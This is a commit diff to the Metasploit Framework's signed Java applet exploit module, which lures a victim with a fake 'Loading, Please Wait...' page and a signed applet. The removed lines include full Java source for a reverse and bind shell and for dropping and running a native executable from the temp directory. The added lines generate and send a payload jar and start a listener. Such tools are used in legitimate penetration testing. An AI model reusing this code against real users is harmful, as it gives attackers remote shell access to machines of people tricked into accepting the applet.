make java_signed_applet work with generic java payloads, but keep the default target as Windows/x86 since it is by far the most common victim.

git-svn-id: file:///home/svn/framework3/trunk@11172 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee
2010-11-30 03:50:40 +00:00
parent 225bf0738e
commit 191c4e8eb7
8 changed files with 101 additions and 346 deletions
@@ -46,23 +46,14 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
],
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
# Generic java payload is mostly useless right now, as it kills as soon as the user browses
# to another page. It should be rewritten to launch a new JVM in the background with a custom
# .class.
#
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via
# /bin/sh or cmd.exe
[ 'Generic (Java Payload)',
{
# This is a bad hack to force only the generic/shell_bind_tcp
# and generic/shell_reverse_tcp payloads
'Platform' => ['win'],
'Payload' => { 'Space' => 0 },
'Arch' => ARCH_CMD,
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
@@ -71,6 +62,12 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
@@ -83,12 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 1
))
@@ -109,245 +100,15 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
#
# Currently doing all processing in on_request_uri.
# If this is too slow, we can move applet generation up here.
#
@use_static = false
if not @jvm_init
print_error
print_error "The JDK failed to initialized: #{@java_error}"
print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable."
print_error
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
print_error
@use_static = true
end
if datastore['SaveToFile']
appletsource = get_code
save_to_file( appletsource['classnames'], appletsource['codefiles'], datastore['SaveToFile'] )
end
super
end
def get_code
appletsource = <<-EOF
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class #{datastore['APPLETNAME']} extends Applet
{
public void init()
{
try
{
String data = getParameter( "data" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );
if( data == null ) {
data = "";
}
//System.out.println("Applet executing. Creating payload class.");
#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
//System.out.println("Payload class instantiated.");
site.data = data;
if( lhost != null && lport != null) {
site.lhost = lhost;
site.lport = Integer.parseInt(lport);
System.out.println("lhost: " + lhost);
System.out.println("lport: " + Integer.parseInt(lport));
}
//System.out.println("data: " + data);
site.run();
}
catch( Exception e ) { System.out.println("Applet error: " + e); }
}
class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public String data = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public String lhost = null;
public int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
//System.out.println("Applet running...");
try
{
String os = System.getProperty( "os.name" );
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
//if( #{datastore['PAYLOADNAME']}.data.length() == 0 )
if( this.data.length() == 0 )
{
//System.out.println("Applet thinks payload.data is empty.");
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
//if( #{datastore['PAYLOADNAME']}.lhost == null )
if( this.lhost == null )
{
//ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );
ServerSocket server_socket = new ServerSocket( this.lport );
client_socket = server_socket.accept();
}
else
{
//client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
client_socket = new Socket( this.lhost, this.lport );
}
if( client_socket != null )
{
Process process = Runtime.getRuntime().exec( shell );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
else
{
//System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));
String filename = Math.random() + ".exe";
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;
//System.out.println(filename + " written.");
Process p;
FileOutputStream fos = new FileOutputStream( path );
//fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );
fos.write( StringToBytes( this.data ) );
fos.close();
if( os.indexOf( "Windows" ) < 0 )
{
p = Runtime.getRuntime().exec( "chmod 755 " + path );
p.waitFor();
}
p = Runtime.getRuntime().exec( path );
p.waitFor();
new File( path ).delete();
}
}
catch( Exception e ) { System.out.println("Payload execution error: " + e); }
return null;
}
public void #{datastore['PAYLOADNAME']}()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }
}
}
}
EOF
appletcode = {
'classnames' => [ datastore['APPLETNAME'] ],
'codefiles' => [ appletsource ]
}
return appletcode
end
def on_request_uri( cli, request )
payload = regenerate_payload(cli)
if not payload
print_error( "Failed to generate the payload." )
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found(cli)
return
end
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
@@ -357,108 +118,68 @@ EOF
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
if target.name == 'Generic (Java Payload)'
if datastore['LHOST']
host = datastore['LHOST']
port = datastore['LPORT']
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
else
port = datastore['LPORT']
datastore['RHOST'] = cli.peerhost
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
end
else
payload = regenerate_payload( cli )
if not payload
print_error( "Failed to generate the payload." )
return
end
# NOTE: The EXE mixin automagically handles detection of arch/platform
data = generate_payload_exe
if data
print_status( "Generated executable to drop (#{data.length} bytes)." )
data = Rex::Text.to_hex( data, prefix="" )
else
print_error( "Failed to generate the executable." )
return
end
end
if not @use_static
# See #1543
if datastore['CERTCN'].index(",")
print_error("CERTCN cannot contain a comma due to a bug in Rjb, commas will be removed")
end
appletcode = get_code
print_status "Compiling applet classes..."
compile( appletcode['classnames'], appletcode['codefiles'] )
print_status "Compile completed. Building jar file..."
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
@signedjar = "#{datastore['APPLETNAME']}.jar"
build_jar( unsignedjar,
[
# Applet
datastore['APPLETNAME'] + ".class",
# PayloadX class
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
# PayloadX StreamConnector for pure Java payload
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class"
]
)
print_status "Jar built. Signing..."
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
print_status "Jar signed. Ready to send."
else
print_status "Using static, signed jar. Ready to send."
end
# TODO: gzip data and parse in java
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
# load the jar file
if @use_static
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
path = File.join( datastore['JAVACACHE'], @signedjar )
end
# If we haven't returned yet, then this is a request for our applet
# jar, build one for this victim.
if path
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close
p = regenerate_payload(cli)
jar = p.encoded_jar
files = [
"metasploit/Payload.class",
"metasploit/PayloadApplet.class",
"META-INF/MANIFEST.MF",
"META-INF/SIGNFILE.DSA",
"META-INF/SIGNFILE.SF",
]
# Ghetto. Replace existing files in the Jar, then add in
# anything that wasn't replaced. The reason for replacing the
# .class files is to ensure that we're sending the
# Payload.class as was signed rather than a newer one that was
# updated without updating the signature. We'll just have to
# cross our fingers and hope that any updates don't break
# backwards compatibility in the handler until we can get
# signing to work from ruby. Once we can sign jars directly
# from ruby using OpenSSL, this won't be a problem.
replaced = []
# Replace the ones that are already there.
jar.entries.map do |e|
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
if File.file? file
File.open(file, "rb") do |f|
e.data = f.read(f.stat.size)
end
end
replaced << e.name
end
# Add the rest
files.each { |e|
next if replaced.include? e
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
File.open(file, "rb") do |f|
jar.add_file(e, f.read(f.stat.size))
end
}
print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )
send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, host, port )
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "
html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
html += "</applet></body></html>"
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head> |
html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar" |
html += %Q| code="metasploit.PayloadApplet" width="1" height="1">\n|
html += %Q|</applet></body></html>|
return html
end
end